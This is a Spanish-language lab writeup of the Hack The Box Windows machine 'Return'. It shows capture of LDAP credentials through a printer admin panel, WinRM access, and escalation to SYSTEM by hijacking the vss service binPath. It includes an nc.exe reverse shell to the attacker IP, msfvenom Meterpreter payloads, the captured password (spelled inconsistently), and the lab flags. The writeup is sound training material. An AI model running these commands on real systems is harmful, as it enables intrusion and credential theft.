



HACK THE BOX · WINDOWS

Return

Writeup técnico completo ·
explotación reproducible

Máquina Return resuelta

HTB Return · 08 de mayo de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, captura de credenciales, acceso WinRM, user y root con trazabilidad clara y reutilizable
Fecha de resolución	08 de mayo de 2026



Informe técnico normalizado para archivo, consulta y trazabilidad.

GUÍA DE LECTURA

Índice

Informe técnico consolidado de la máquina Return. El documento conserva la secuencia real de enumeración, explotación, escalada de privilegios y cierre técnico, con una maquetación orientada a consulta, estudio y archivo.

1. Introducción del caso	3
2. Preparación y arranque del laboratorio	3
3. Enumeración inicial de puertos y servicios	4
4. Decisión de superficie dominante	5
5. Enumeración SMB inicial	6
6. Revisión del panel web	6
7. Extracción de configuración LDAP desde settings.php	7
8. Captura de credencial LDAP	8
9. Validación de credencial por WinRM	9
10. Enumeración local inicial y obtención de user	9
11. Análisis de escalada: Server Operators y servicio vss	11
12. Intentos de validación por fichero y problemas encontrados	12
13. Primer cambio de táctica: nc.exe como shell inversa	13
14. Segunda táctica: Meterpreter x86	15
15. Tercera táctica: Meterpreter x64 con migración automática	16
16. Obtención de root y limpieza	18
17. Resumen técnico final	19
18. Lecciones reutilizables	20
19. Puntos descartados o no desarrollados	22

HTB Return — Informe técnico completo

1. Introducción del caso

Return es una máquina Windows de dificultad easy cuya cadena de compromiso se apoya en una configuración insegura de un panel de administración de impresora. El punto de entrada no fue una explotación por versión ni una vulnerabilidad compleja de Active Directory, sino una mala práctica operativa: el panel permitía modificar el servidor LDAP configurado y, al hacerlo, el backend intentaba autenticarse contra el nuevo destino con una cuenta de servicio.

La resolución completa quedó articulada en esta cadena:

```
Panel de administración de impresora en IIS
→ configuración LDAP visible
→ modificación del servidor LDAP hacia la IP atacante
→ captura de credenciales de svc-printer
→ validación por WinRM
→ shell como return\svc-printer
→ pertenencia a Server Operators
→ modificación del binPath del servicio vss
→ ejecución como LocalSystem
→ sesión Meterpreter x64 estabilizada por migración
→ NT AUTHORITY\SYSTEM
→ lectura de root.txt
→ restauración del servicio vss
```

La máquina enseña tres ideas especialmente importantes:

1. Un panel aparentemente simple puede contener configuraciones de integración con dominio que valen más que una enumeración web genérica.
2. En Windows, los grupos del usuario comprometido son decisivos. En este caso, `Server Operators` fue el hallazgo que convirtió una cuenta de servicio en una vía de escalada.
3. La explotación por servicios requiere trazabilidad: documentar el servicio original, modificarlo, ejecutar, confirmar contexto y restaurarlo.

2. Preparación y arranque del laboratorio

Preparación automatizada

El arranque se realizó con el script propio `Inici-HTB`, utilizado para ordenar el entorno de trabajo, validar conectividad y generar evidencias iniciales:

```
Inici-HTB Return 10.129.95.241 easy
```

Este paso no forma parte de la explotación. Su función es preparar el caso para trabajar con método:

- crear la estructura de directorios;
- comprobar conectividad;
- estimar sistema operativo;
- lanzar escaneo completo de puertos;
- extraer puertos abiertos;
- ejecutar escaneo de servicios;
- generar una nota inicial con superficie dominante sugerida;
- dejar un siguiente paso único.

La estructura esperada del caso quedó orientada a separar evidencias y acciones posteriores:

```
Return/
├── content/
├── exploits/
├── nmap/
└── allPorts
```

```
├─ extractPorts.txt
├─ nmap_tcp_services.txt
├─ ping.txt
├─ whichSystem.txt
└─ notes/
    ├── 00_resumen_inicial.md
    └── 01_siguiente_paso.txt
```

La lectura didáctica de esta fase es sencilla: antes de buscar una vulnerabilidad hay que saber qué superficie existe realmente. Esta forma de trabajar evita abrir ramas por intuición y obliga a decidir por evidencia.

Conectividad y estimación inicial

La conectividad fue correcta:

```
64 bytes from 10.129.95.241: icmp seq=1 ttl=127 time=48.3 ms
```

La estimación por TTL sugirió Windows:

```
10.129.95.241 (ttl -> 127): Windows
```

Esta señal no debe tratarse como una verdad absoluta, pero sí como una pista razonable. En este caso fue coherente con el resto de la enumeración posterior.

3. Enumeración inicial de puertos y servicios

Escaneo completo de puertos

El escaneo completo detectó una superficie extensa y claramente asociada a Windows/Active Directory:

53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 47001, 49664, 49665, 49666, 49668, 49671, 49674, 49675, 49678, 49681, 49697, 49723

Puertos relevantes:

Puerto	Servicio	Lectura técnica
53	DNS	Señal habitual en controlador o entorno de dominio
80	HTTP / IIS	Panel web visible
88	Kerberos	Autenticación de dominio
389 / 636	LDAP / LDAPS	Directorio Active Directory
445	SMB	Recursos compartidos / dominio
5985	WinRM	Acceso remoto PowerShell si hay credenciales
9389	ADWS	Active Directory Web Services
47001	HTTPAPI / WinRM auxiliar	Servicio Microsoft auxiliar, no web de negocio

La superficie podía llevar a pensar en una rama AD pura, pero el puerto 80 devolvió un título muy concreto:

```
http-title: HTB Printer Admin Panel
```

Esto cambió la prioridad de trabajo. No se trataba de una web genérica, sino de una aplicación con posible relación directa con la infraestructura de dominio.

Escaneo de servicios

La salida de Nmap confirmó:

```
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel

88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap       Microsoft Windows Active Directory LDAP (Domain: return.local0.)
445/tcp   open  microsoft-ds?
5985/tcp  open  http       Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf     .NET Message Framing
```

También se identificó el host como PRINTER:

```
Service Info: Host: PRINTER; OS: Windows
```

SMB tenía firma requerida:

```
Message signing enabled and required
```

Y se observó un desfase horario:

```
clock-skew: 18m33s
```

En una cadena Kerberos avanzada, el `clock-skew` podría ser crítico. En este caso no fue el camino principal, pero quedó correctamente registrado como dato de contexto.

4. Decisión de superficie dominante

Hechos verificados

La máquina exponía servicios de dominio, pero también un panel HTTP con nombre específico:

```
HTB Printer Admin Panel
```

La decisión inicial quedó así:

```
Superficie dominante:
Windows / Active Directory con panel web IIS de impresora en el puerto 80.

Rama principal:
WEB-BASE orientada a panel de administración de impresora.

Ramas secundarias:
AD / SMB / LDAP / Kerberos.
WinRM pendiente de credenciales.
SMB pendiente de comprobar acceso anónimo o información de dominio.
```

Explicación didáctica

En un host con Kerberos, LDAP, SMB y WinRM se debe tener presente la rama Active Directory. Sin embargo, el panel de impresora era más accionable en ese momento porque ofrecía una superficie concreta, navegable y potencialmente conectada con LDAP.

Los paneles de impresoras corporativas suelen almacenar configuraciones de:

- servidor LDAP;
- servidor SMB;
- dominio;
- usuario de servicio;
- contraseña o secreto de integración;
- rutas de escaneo o almacenamiento.

Por tanto, antes de forzar SMB, Kerberos o WinRM, tenía sentido revisar el panel web y buscar configuración reutilizable.

5. Enumeración SMB inicial

Se ejecutó `enum4linux` para comprobar si SMB ofrecía información útil sin credenciales:

```
enum4linux -a 10.129.95.241 | tee content/enum4linux_return.txt
```

Resultado relevante

La herramienta confirmó el dominio:

```
Domain Name: RETURN
Domain Sid: S-1-5-21-3750359090-2939318659-876128439

[+] Host is part of a domain (not a workgroup)
```

Sin embargo, las consultas útiles fallaron por permisos:

```
NT_STATUS_ACCESS_DENIED
```

No se obtuvieron:

- usuarios;
- shares útiles;
- política de contraseñas;
- RID cycling;
- información de impresora por spoolss.

Interpretación

SMB fue útil para confirmar contexto de dominio, pero no abrió una vía operativa sin credenciales. Por tanto, quedó como rama secundaria.

Esta fase ilustra una distinción importante: que una herramienta confirme una sesión parcial o información mínima no significa que esa rama sea explotable. Aquí SMB aportó contexto, no acceso.

6. Revisión del panel web

Descarga y lectura inicial

Se descargó la página principal:

```
curl -sS -D content/http_root_headers.txt http://10.129.95.241/ -o content/http_root.html
```

Después se filtraron referencias útiles:

```
grep -Ei 'href|settings|printer|ldap|server|username|password|domain|port' content/http_root.html
```

La salida confirmó el título del panel y mostró enlaces internos:

```
<title>HTB Printer Admin Panel</title>
<a href="index.php" data-link="true">Home</a>
<a href="settings.php" data-link="true">Settings</a>
<a href="javascript:void(0)" data-link="true">Fax</a>
<a href="javascript:void(0)" data-link="true">Troubleshooting</a>
```

Error inicial con la ruta /settings

Se probó inicialmente:

```
curl -sS -D content/http_settings_headers.txt http://10.129.95.241/settings -o content/http_settings.html
```

El resultado fue un error:

```
<div id="header"><h1>Server Error</h1></div>
```

Este resultado no descartaba la sección de configuración. El HTML había mostrado la ruta exacta `settings.php`, no `/settings`.

Lección del punto

No se debe convertir un error de ruta en un descarte de rama. El enlace real estaba en el HTML. La validación correcta era seguir la ruta observada:

```
settings.php
```

7. Extracción de configuración LDAP desde settings.php

Solicitud de la ruta correcta

Se descargó la página de configuración:

```
curl -sS -D content/http_settings_php_headers.txt http://10.129.95.241/settings.php -o content/http_settings_php.html
```

Se filtraron campos relevantes:

```
grep -Ei 'server|address|port|user|username|password|domain|ldap|smb|printer|value|=|input|form|update' content/http_settings_php.html
```

Y se extrajo el formulario completo:

```
sed -n '/<form/,/<\form>/p' content/http_settings_php.html
```

Evidencia clave del formulario

La página respondía correctamente:

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13
```

El formulario tenía método POST:

```
<form action="" method="POST">
```

El campo realmente modificable era:

```
<input type="text" name="ip" value="printer.return.local"/>
```

Y el panel mostraba configuración LDAP:

```
Server Address: printer.return.local
Server Port: 389
Username: svc-printer
Password: *****
```

Interpretación

Este fue el primer hallazgo realmente explotable del caso. El panel no solo mostraba un usuario de servicio, sino que permitía modificar el servidor LDAP mediante el parámetro `ip`.

Eso abría una hipótesis muy concreta:

```
Si el backend intenta validar o guardar la nueva configuración,  
puede conectarse al servidor LDAP indicado usando svc-printer.
```

El siguiente paso no era adivinar la contraseña, sino observar si el propio objetivo la enviaba al configurar un servidor LDAP controlado.

8. Captura de credencial LDAP

Preparación de la IP atacante

Primero se obtuvo la IP de la interfaz VPN:

```
ip -4 addr show tun0 | awk '/inet /{print $2}' | cut -d/ -f1
```

Resultado:

```
10.10.15.26
```

Listener LDAP controlado

Como el panel indicaba puerto LDAP 389, se levantó un listener en ese puerto:

```
sudo nc -lvnp 389 | tee content/ldap_capture_svc_printer.txt
```

Envío del formulario con servidor LDAP controlado

Se reprodujo el envío del formulario modificando solo el parámetro real observado:

```
curl -sS -i -X POST http://10.129.95.241/settings.php \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'ip=10.10.15.26' \  
| tee content/settings_update_response.txt
```

Resultado obtenido

El listener recibió conexión desde el objetivo:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 49980
```

Dentro del flujo apareció la identidad:

```
return\svc-printer
```

Y la contraseña:

```
1edFg43012!!
```

Interpretación técnica

La aplicación intentó autenticarse contra el servidor LDAP configurado y envió la credencial de `svc-printer`.

El hallazgo cambió la rama principal:

```
Configuración expuesta de panel  
→ credencial de dominio recuperada  
→ validación contra servicios remotos
```


No se asumió aún acceso al sistema. La credencial debía validarse contra servicios existentes. WinRM era el candidato más fuerte porque ya estaba abierto en 5985.

9. Validación de credencial por WinRM

Comprobación rápida con NetExec

Se validó la credencial contra WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p 'ledFg43012!!'
```

Resultado:

```
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
WINRM 10.129.95.241 5985 PRINTER [+] return.local\svc-printer:ledFg43012!! (Pwn3d!)
```

Acceso interactivo

Se abrió sesión con Evil-WinRM:

```
evil-winrm -i 10.129.95.241 -u 'svc-printer' -p 'ledFg43012!!'
```

La identidad efectiva quedó confirmada:

```
whoami
```

```
return\svc-printer
```

Error de contexto: comandos Linux en PowerShell

Durante la sesión se ejecutaron comandos como `id` y `ls -la`, que no pertenecen a PowerShell:

```
The term 'id' is not recognized
A parameter cannot be found that matches parameter name 'la'
```

Esto no afectó a la explotación, pero sí dejó una lección operativa útil. Al entrar por WinRM se trabaja en PowerShell, no en una shell Linux.

Equivalencias prácticas:

Linux	PowerShell / Windows
<code>id</code>	<code>whoami /user</code>
<code>grupos</code>	<code>whoami /groups</code>
<code>ls -la</code>	<code>Get-ChildItem -Force</code>
<code>pwd</code>	<code>Get-Location</code> o <code>pwd</code>
<code>cat archivo</code>	<code>type archivo</code> o <code>Get-Content archivo</code>

10. Enumeración local inicial y obtención de user

Identidad, SID y grupos

Desde Evil-WinRM se documentó el contexto:

```
hostname
whoami /user
whoami /groups
whoami /priv
```

Host:

```
printer
```

Usuario:

```
return\svc-printer
```

SID:

```
S-1-5-21-3750359090-2939318659-876128439-1103
```

Grupos relevantes:

```
BUILTIN\Server Operators
BUILTIN\Print Operators
BUILTIN\Remote Management Users
```

Privilegios habilitados relevantes:

```
SeMachineAccountPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeRemoteShutdownPrivilege
```

Lectura didáctica

`Remote Management Users` explica el acceso por WinRM. Sin ese permiso, una credencial válida de dominio no necesariamente habría permitido una shell remota.

`Server Operators` fue el hallazgo clave de escalada. Este grupo puede operar determinados servicios del sistema. Si un usuario puede modificar la ruta de ejecución de un servicio que corre como `LocalSystem`, puede convertir esa capacidad en ejecución privilegiada.

`SeBackupPrivilege` y `SeRestorePrivilege` también eran interesantes, pero quedaron como ramas secundarias porque `Server Operators` ofrecía una vía más directa y coherente con el caso.

Primera flag

Se revisó el escritorio del usuario:

```
Get-ChildItem -Force C:\Users\svc-printer\Desktop
```

Se encontró `user.txt`:

```
-ar--- 5/8/2026 5:06 AM 34 user.txt
```

Y se leyó:

```
Get-Content C:\Users\svc-printer\Desktop\user.txt
```

Resultado:

```
46a4f8c3e5bba0afe3432d836dc35450
```

11. Análisis de escalada: Server Operators y servicio vss

Por qué se revisó vss

La hipótesis de escalada era:

```
svc-printer pertenece a Server Operators
→ puede operar servicios
→ si un servicio corre como LocalSystem y puede modificarse
→ se puede ejecutar un binario controlado como SYSTEM
```

Se comenzó por el servicio `vss` porque es un servicio conocido de Windows, bajo demanda, y en esta máquina permitía consulta y manipulación.

Pruebas iniciales sobre servicios

Una consulta global del Service Control Manager falló:

```
sc.exe query
```

```
[SC] OpenSCManager FAILED 5:
Access is denied.
```

Sin embargo, la consulta específica de `vss` sí funcionó:

```
sc.exe qc vss
```

Salida relevante:

```
SERVICE_NAME: vss
START_TYPE    : 3    DEMAND_START
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe
SERVICE_START_NAME : LocalSystem
```

La consulta WMI mediante `Get-CimInstance` falló por permisos:

```
Access denied
```

Pero `sc.exe` proporcionó la información necesaria.

Validación de control sobre el servicio

El servicio estaba detenido:

```
sc.exe stop vss
```

```
[SC] ControlService FAILED 1062:
The service has not been started.
```

Se pudo iniciar:

```
sc.exe start vss
```

```
STATE : 2 START_PENDING
PID    : 2528
```

Y después apareció como `RUNNING`:

```
sc.exe query vss
```

```
STATE : 4 RUNNING
```

Confirmación de modificación del binPath

La prueba crítica fue modificar el `BINARY_PATH_NAME` manteniendo el valor original:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
```

Resultado:

```
[SC] ChangeServiceConfig SUCCESS
```

Este resultado validó que `svc-printer` podía modificar la configuración del servicio.

La combinación ya era suficiente para justificar la vía:

```
servicio modificable  
+ servicio ejecutado como LocalSystem  
+ capacidad de iniciar/detener el servicio  
= primitiva de ejecución privilegiada
```

12. Intentos de validación por fichero y problemas encontrados

Prueba inicial con whoami

Se intentó ejecutar un comando simple mediante el servicio:

```
sc.exe config vss binPath= "cmd.exe /c whoami > C:\Users\svc-printer\Documents\whoami_system.txt"  
sc.exe start vss
```

El servicio devolvió:

```
[SC] StartService FAILED 1053:  
The service did not respond to the start or control request in a timely fashion.
```

Este error era esperable: `cmd.exe /c whoami` no es un servicio Windows real. El Service Control Manager espera que el proceso se comporte como servicio; un comando puntual termina rápido o no responde al protocolo esperado.

El fichero se creó, pero vacío:

```
Length Name  
-----  
0      whoami_system.txt
```

Problemas de comillas y redirecciones

Se intentó mejorar la sintaxis con comillas y redirección de errores:

```
sc.exe config vss binPath= 'C:\Windows\System32\cmd.exe /c "whoami > C:\Windows\Temp\whoami_system.txt 2>&1"'
```

Pero `sc.exe` devolvió su ayuda de uso, lo que indicaba que el comando no se aplicó:

```
USAGE:  
sc <server> config [service name] <option1> <option2>...
```

La lección aquí fue importante: cuando `sc.exe` muestra ayuda, no se debe asumir que ha aplicado nada. Siempre hay que confirmar con:

```
sc.exe qc vss
```

Uso de --% en PowerShell

Para evitar que PowerShell interpretase redirecciones y comillas, se usó el operador de parada de parsing:

```
sc.exe --% config vss binPath= "C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt"
```

La configuración quedó aplicada:

```
[SC] ChangeServiceConfig SUCCESS  
BINARY_PATH_NAME : C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt  
SERVICE_START_NAME : LocalSystem
```

El servicio volvió a devolver 1053, pero el fichero existía. El problema fue que el usuario no podía leerlo:

```
Access to the path 'C:\Windows\Temp\svc_test.txt' is denied.
```

Interpretación

Estos intentos no invalidaron la técnica. Al contrario, confirmaron que:

- el `binPath` podía cambiarse;
- el servicio intentaba ejecutar lo configurado;
- el error 1053 no era criterio de descarte;
- la redirección a fichero añadía demasiada fricción por sintaxis y permisos.

La decisión correcta fue abandonar la validación por fichero y pasar a una conexión inversa.

13. Primer cambio de táctica: nc.exe como shell inversa

Preparación del binario

Inicialmente se intentó subir `nc.exe` desde una ruta absoluta:

```
upload /usr/share/windows-resources/binaries/nc.exe
```

Evil-WinRM lo interpretó como ruta relativa al directorio local del laboratorio:

```
/home/r4mon/pentest/targets/HTB/easy/Return/usr/share/windows-resources/binaries/nc.exe
```

y falló:

```
No such file or directory
```

También se intentó `upload nc.exe`, pero el fichero aún no existía en el directorio local:

```
No such file or directory /home/r4mon/pentest/targets/HTB/easy/Return/nc.exe
```

Error de contexto: buscar en Parrot desde Evil-WinRM

Se ejecutó por error un comando Linux dentro de PowerShell remoto:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell interpretó `/dev/null` como ruta Windows:

```
Could not find a part of the path 'C:\dev\null'
```

Este fue un error operativo útil para documentar. Había que separar claramente:

```
Terminal local de Parrot ≠ sesión PowerShell remota por Evil-WinRM
```

Localización correcta de nc.exe

En la terminal local de Parrot se buscó el binario:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

Resultado:

```
/usr/share/SecLists/SecLists/Web-Shells/FuzzDB/nc.exe  
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
```

Se copió al directorio del laboratorio:

```
cp -v /usr/share/seclists/Web-Shells/FuzzDB/nc.exe ./nc.exe
```

Se verificó:

```
ls -lh ./nc.exe
```

```
28 KB ./nc.exe
```

Ahora sí se pudo subir:

```
upload nc.exe
```

Resultado:

```
Data: 37544 bytes of 37544 bytes copied  
Info: Upload successful!
```

Y se confirmó en la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\nc.exe
```

```
28160 nc.exe
```

Listener y modificación de vss

En Parrot se abrió listener:

```
rlwrap -cAr nc -lvp 1234
```

```
listening on [any] 1234 ...
```

Se configuró vss para ejecutar nc.exe:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234"
```

Se confirmó:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234  
SERVICE_START_NAME : LocalSystem
```

Al iniciar el servicio llegó una conexión:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 62773  
Microsoft Windows [Version 10.0.17763.107]  
C:\Windows\system32>
```


Problema de estabilidad

La shell se cayó antes de confirmar `whoami`.

Este resultado fue suficiente para confirmar que el servicio ejecutaba el binario, pero no era una sesión estable. Se restauró el servicio:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"  
sc.exe qc vss
```

Confirmación:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

14. Segunda táctica: Meterpreter x86

Generación del payload

Se comprobó que `msfvenom` estaba disponible:

```
which msfvenom
```

```
/usr/bin/msfvenom
```

Se generó un payload Windows x86:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=1337 -f exe -o shell.exe
```

Resultado:

```
Payload size: 354 bytes  
Final size of exe file: 73802 bytes  
Saved as: shell.exe
```

Se verificó el binario:

```
ls -lh ./shell.exe
```

```
72 KB ./shell.exe
```

Handler de Metasploit

Se abrió Metasploit y se cargó el handler:

```
use exploit/multi/handler
```

Metasploit seleccionó inicialmente un payload genérico:

```
generic/shell_reverse_tcp
```

Se corrigió para que coincidiera con el binario:

```
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST 10.10.15.26  
set LPORT 1337  
show options
```

Opciones relevantes:

```
Payload options (windows/meterpreter/reverse_tcp):  
LHOST 10.10.15.26  
LPORT 1337
```

Se arrancó el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:1337
```

Subida y ejecución

Se subió el binario:

```
upload shell.exe
```

Resultado:

```
Data: 98400 bytes of 98400 bytes copied  
Info: Upload successful!
```

Se confirmó en la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell.exe
```

```
73802 shell.exe
```

Se configuró vss:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell.exe"
```

Confirmación:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell.exe  
SERVICE_START_NAME : LocalSystem
```

Al iniciar el servicio, Metasploit recibió sesión:

```
Meterpreter session 1 opened (10.10.15.26:1337 -> 10.129.95.241:53876)
```

Pero murió inmediatamente:

```
Meterpreter session 1 closed. Reason: Died
```

Interpretación

La ejecución estaba confirmada, pero la estabilidad seguía siendo insuficiente. La siguiente hipótesis fue que el payload x86 no era el más adecuado para una máquina Windows Server 2019 de 64 bits.

Se restauró nuevamente vss.

15. Tercera táctica: Meterpreter x64 con migración automática

Generación de payload x64

Se generó un ejecutable x64:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=4444 -f exe -o shell64.exe
```

Resultado:

```
Payload size: 510 bytes  
Final size of exe file: 7168 bytes  
Saved as: shell64.exe
```

Se verificó:

```
ls -lh ./shell64.exe
```

```
7.0 KB ./shell64.exe
```

Configuración del handler x64

En Metasploit:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp  
set LHOST 10.10.15.26  
set LPORT 4444  
show options
```

Opciones:

```
Payload options (windows/x64/meterpreter/reverse_tcp):  
LHOST 10.10.15.26  
LPORT 4444
```

Se arrancó el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

Subida del binario

Se subió shell64.exe:

```
upload shell64.exe
```

Resultado:

```
Data: 9556 bytes of 9556 bytes copied  
Info: Upload successful!
```

Se verificó en la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell64.exe
```

```
7168 shell64.exe
```

Primer intento x64

Se configuró vss:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell64.exe"
```

Se confirmó:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell64.exe  
SERVICE_START_NAME : LocalSystem
```

La sesión abrió, pero se volvió a cometer un error de contexto: se intentó usar `whoami` dentro de Meterpreter.

```
[.] Unknown command: whoami. Run the help command for more details.
```

El comando correcto en Meterpreter era:

```
getuid
```

La sesión terminó muriendo antes de confirmarlo.

Migración automática

Para evitar que la sesión muriera antes de migrar manualmente, se configuró la migración automática en Metasploit:

```
set AutoRunScript post/windows/manage/migrate
```

Resultado:

```
AutoRunScript => post/windows/manage/migrate
```

Se relanzó el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

Se volvió a configurar vss con `shell64.exe` y se inició el servicio.

Metasploit recibió la sesión y migró automáticamente:

```
Session ID 3 (10.10.15.26:4444 -> 10.129.95.241:49652) processing AutoRunScript 'post/windows/manage/migrate'  
Running module against PRINTER  
Current server process: shell64.exe (3856)  
Spawning notepad.exe process to migrate into  
Migrating into 688  
[+] Successfully migrated into process 688  
Meterpreter session 3 opened
```

Confirmación de SYSTEM

En Meterpreter se usó el comando correcto:

```
getuid
```

Resultado:

```
Server username: NT AUTHORITY\SYSTEM
```

La escalada quedaba confirmada.

16. Obtención de root y limpieza

Lectura de la flag final

Desde Meterpreter:

```
cat C:\\Users\\Administrator\\Desktop\\root.txt
```

Resultado:

```
19e7fb0b6df382040351bcfd3a9cd6ce
```

Restauración final del servicio

Después de obtener la flag final, se restauró vss:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
```

Resultado:

```
[SC] ChangeServiceConfig SUCCESS
```

Se confirmó:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

Esta restauración es una parte importante de la trazabilidad. La explotación modificó temporalmente una configuración sensible del sistema; el cierre correcto exige demostrar que el servicio volvió a su estado original.

17. Resumen técnico final

Cadena validada

1. Enumeración inicial:
Windows / AD / IIS / WinRM / LDAP / SMB.
2. Superficie dominante:
Panel web de impresora en IIS.
3. Hallazgo web:
settings.php expone configuración LDAP.
4. Primitiva inicial:
El campo Server Address puede modificarse mediante POST usando el parámetro ip.
5. Captura:
Al apuntar el servidor LDAP a la IP atacante, el objetivo envía credenciales.
6. Credencial recuperada:
return\svc-printer : ledFg43012!!
7. Validación:
WinRM acepta la credencial.
8. Acceso:
Evil-WinRM como return\svc-printer.
9. Hallazgo local:
svc-printer pertenece a Server Operators.
10. Escalada:
vss corre como LocalSystem y permite modificación del binPath.
11. Ejecución:
shell64.exe ejecutado mediante vss.
12. Estabilización:
Meterpreter x64 + AutoRunScript migrate.
13. Privilegios:
NT AUTHORITY\SYSTEM.
14. Cierre:
root.txt leído y vss restaurado.

Flags

```
user.txt: 46a4f8c3e5bba0afe3432d836dc35450
root.txt: 19e7fb0b6df382040351bcfd3a9cd6ce
```

18. Lecciones reutilizables

18.1. Un panel simple puede ser más importante que una enumeración AD amplia

Aunque la máquina exponía muchos servicios de dominio, la vía real nació del panel web. La clave fue no tratar HTTP como una superficie secundaria solo porque existía Kerberos o LDAP.

Patrón reutilizable:

```
Panel corporativo
→ configuración de integración
→ servidor modificable
→ autenticación saliente
→ captura de credencial
```

18.2. Los paneles de impresora suelen integrarse con LDAP o SMB

Una impresora multifunción corporativa puede necesitar:

- consultar usuarios en LDAP;
- guardar escaneos en shares;
- autenticarse contra dominio;
- usar cuentas de servicio.

Por eso, una sección `Settings` con `Server Address`, `Server Port`, `Username` y `Password` debe tratarse como hallazgo sensible.

18.3. Credencial encontrada no equivale a acceso final

La contraseña de `svc-printer` solo se convirtió en acceso real después de validarla contra WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

La comprobación separó:

```
credencial observada
→ credencial válida
→ credencial explotable por WinRM
```

18.4. En Windows, los grupos importan tanto como el usuario

`svc-printer` no era administrador directo, pero pertenecía a `Server Operators`. Esa pertenencia permitió manipular servicios.

Comando clave:

```
whoami /groups
```

La salida de grupos fue más importante que el contenido del directorio del usuario.

18.5. `sc.exe qc` debe acompañar a `sc.exe config`

Cada cambio de servicio se validó con:

```
sc.exe qc vss
```

Esto evitó asumir que una modificación había funcionado cuando `sc.exe` solo había mostrado ayuda de uso.

Patrón recomendado:

```
sc.exe config ...  
→ comprobar ChangeServiceConfig SUCCESS  
→ sc.exe qc ...  
→ confirmar BINARY_PATH_NAME  
→ iniciar servicio
```

18.6. El error 1053 no invalida necesariamente la ejecución

Al ejecutar comandos que no son servicios reales, `sc.exe start` puede devolver:

```
StartService FAILED 1053
```

En este caso, el error no significaba que la ejecución fuese imposible. Significaba que el proceso lanzado no respondía como servicio Windows.

El indicador real debía ser:

- fichero creado;
- conexión recibida;
- sesión abierta;
- contexto confirmado.

18.7. Separar contexto local y remoto evita errores

Se produjo un error al ejecutar un comando Linux dentro de Evil-WinRM:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell intentó interpretar `/dev/null` como `C:\dev\null`.

Lección:

```
Terminal Parrot:  
find, cp, msfvenom, msfconsole, nc listener.  
  
Evil-WinRM:  
PowerShell remoto, sc.exe, Get-ChildItem, upload.  
  
Meterpreter:  
getuid, cat, migrate, ps.
```

18.8. Meterpreter requiere comandos propios

Dentro de Meterpreter, `whoami` no es el comando adecuado:

```
[*] Unknown command: whoami
```

Para confirmar usuario se usa:

```
getuid
```

18.9. La estabilidad puede requerir migración

La shell con `nc.exe` y los primeros Meterpreter murieron rápido. La sesión estable llegó cuando se combinó:

```
payload x64  
+ handler correcto  
+ AutoRunScript post/windows/manage/migrate
```


La migración automática permitió salir del proceso inicial `shell64.exe` y pasar a un proceso más estable:

```
[+] Successfully migrated into process 688
```

18.10. Restaurar el servicio forma parte del cierre técnico

Después de modificar `vss`, el cierre correcto fue restaurar:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"  
sc.exe qc vss
```

Confirmación final:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

19. Puntos descartados o no desarrollados

SMB sin credenciales

SMB confirmó el dominio `RETURN`, pero no permitió enumeración útil sin credenciales. Quedó como rama secundaria y no fue necesario volver a ella para completar la máquina.

SeBackupPrivilege / SeRestorePrivilege

El usuario tenía privilegios interesantes como `SeBackupPrivilege` y `SeRestorePrivilege`, pero no se desarrollaron porque la vía de `Server Operators` era directa y suficiente.

Validación por fichero

La validación mediante redirección de `whoami` a fichero resultó ruidosa por problemas de comillas, `1053` y permisos de lectura. Se abandonó correctamente en favor de una sesión inversa.